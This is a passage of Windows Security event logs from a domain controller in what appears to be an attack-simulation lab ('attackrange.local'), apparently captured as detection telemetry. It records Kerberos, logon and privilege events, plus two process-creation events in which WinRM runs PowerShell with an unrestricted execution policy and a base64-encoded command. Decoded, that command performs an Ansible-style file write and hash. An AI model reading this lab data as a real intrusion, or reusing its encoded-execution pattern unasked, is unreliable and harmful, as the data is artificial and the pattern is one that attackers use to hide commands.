accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253234 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253233 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19A090 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253232 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19A090 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253231 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19A090 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {E682210C-828C-31D0-0A13-2B3B56B2C778} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253230 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {E682210C-828C-31D0-0A13-2B3B56B2C778} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253229 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {E682210C-828C-31D0-0A13-2B3B56B2C778} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253228 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253227 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x199DD4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253226 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x199562 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253225 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x199DD4 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253224 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x199DD4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {E682210C-828C-31D0-0A13-2B3B56B2C778} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253223 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {E682210C-828C-31D0-0A13-2B3B56B2C778} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253222 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {E682210C-828C-31D0-0A13-2B3B56B2C778} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253221 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253220 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x199562 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253219 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x199562 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {E682210C-828C-31D0-0A13-2B3B56B2C778} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253218 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {E682210C-828C-31D0-0A13-2B3B56B2C778} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253217 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {E682210C-828C-31D0-0A13-2B3B56B2C778} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253216 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253215 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19546B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1154 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x280 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANgAxADgALgA5ADQAMAA5ADAANAAtADgANwA2ADYANwAxADUAMAAxADQAMQA0ADYANQBcAHMAbwB1AHIAYwBlACcACgAkAEQAZQBiAHUAZwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACIAQwBvAG4AdABpAG4AdQBlACIACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACIAUwB0AG8AcAAiAAoAUwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAAMgAKACQAZgBkACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AEMAcgBlAGEAdABlACgAJABwAGEAdABoACkACgAkAHMAaABhADEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUwBIAEEAMQBDAHIAeQBwAHQAbwBTAGUAcgB2AGkAYwBlAFAAcgBvAHYAaQBkAGUAcgBdADoAOgBDAHIAZQBhAHQAZQAoACkACgAkAGIAeQB0AGUAcwAgAD0AIABAACgAKQAgACMAaQBuAGkAdABpAGEAbABpAHoAZQAgAGYAbwByACAAZQBtAHAAdAB5ACAAZgBpAGwAZQAgAGMAYQBzAGUACgB9AAoAcAByAG8AYwBlAHMAcwAgAHsACgAkAGIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABpAG4AcAB1AHQAKQAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEIAbABvAGMAawAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACwAIAAkAGIAeQB0AGUAcwAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAZgBkAC4AVwByAGkAdABlACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQAKAH0ACgBlAG4AZAAgAHsACgAkAHMAaABhADEALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgADAAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAkAGgAYQBzAGgAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAcwBoAGEAMQAuAEgAYQBzAGgAKQAuAFIAZQBwAGwAYQBjAGUAKAAiAC0AIgAsACAAIgAiACkALgBUAG8ATABvAHcAZQByAEkAbgB2AGEAcgBpAGEAbgB0ACgAKQAKACQAZgBkAC4AQwBsAG8AcwBlACgAKQAKAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAIgB7ACIAIgBzAGgAYQAxACIAIgA6ACIAIgAkAGgAYQBzAGgAIgAiAH0AIgAKAH0A - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253214 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19546B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x280 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x11d0 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANgAxADgALgA5ADQAMAA5ADAANAAtADgANwA2ADYANwAxADUAMAAxADQAMQA0ADYANQBcAHMAbwB1AHIAYwBlACcACgAkAEQAZQBiAHUAZwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACIAQwBvAG4AdABpAG4AdQBlACIACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACIAUwB0AG8AcAAiAAoAUwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAAMgAKACQAZgBkACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AEMAcgBlAGEAdABlACgAJABwAGEAdABoACkACgAkAHMAaABhADEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUwBIAEEAMQBDAHIAeQBwAHQAbwBTAGUAcgB2AGkAYwBlAFAAcgBvAHYAaQBkAGUAcgBdADoAOgBDAHIAZQBhAHQAZQAoACkACgAkAGIAeQB0AGUAcwAgAD0AIABAACgAKQAgACMAaQBuAGkAdABpAGEAbABpAHoAZQAgAGYAbwByACAAZQBtAHAAdAB5ACAAZgBpAGwAZQAgAGMAYQBzAGUACgB9AAoAcAByAG8AYwBlAHMAcwAgAHsACgAkAGIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABpAG4AcAB1AHQAKQAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEIAbABvAGMAawAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACwAIAAkAGIAeQB0AGUAcwAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAZgBkAC4AVwByAGkAdABlACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQAKAH0ACgBlAG4AZAAgAHsACgAkAHMAaABhADEALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgADAAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAkAGgAYQBzAGgAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAcwBoAGEAMQAuAEgAYQBzAGgAKQAuAFIAZQBwAGwAYQBjAGUAKAAiAC0AIgAsACAAIgAiACkALgBUAG8ATABvAHcAZQByAEkAbgB2AGEAcgBpAGEAbgB0ACgAKQAKACQAZgBkAC4AQwBsAG8AcwBlACgAKQAKAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAIgB7ACIAIgBzAGgAYQAxACIAIgA6ACIAIgAkAGgAYQBzAGgAIgAiAH0AIgAKAH0A - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253213 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x199313 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - 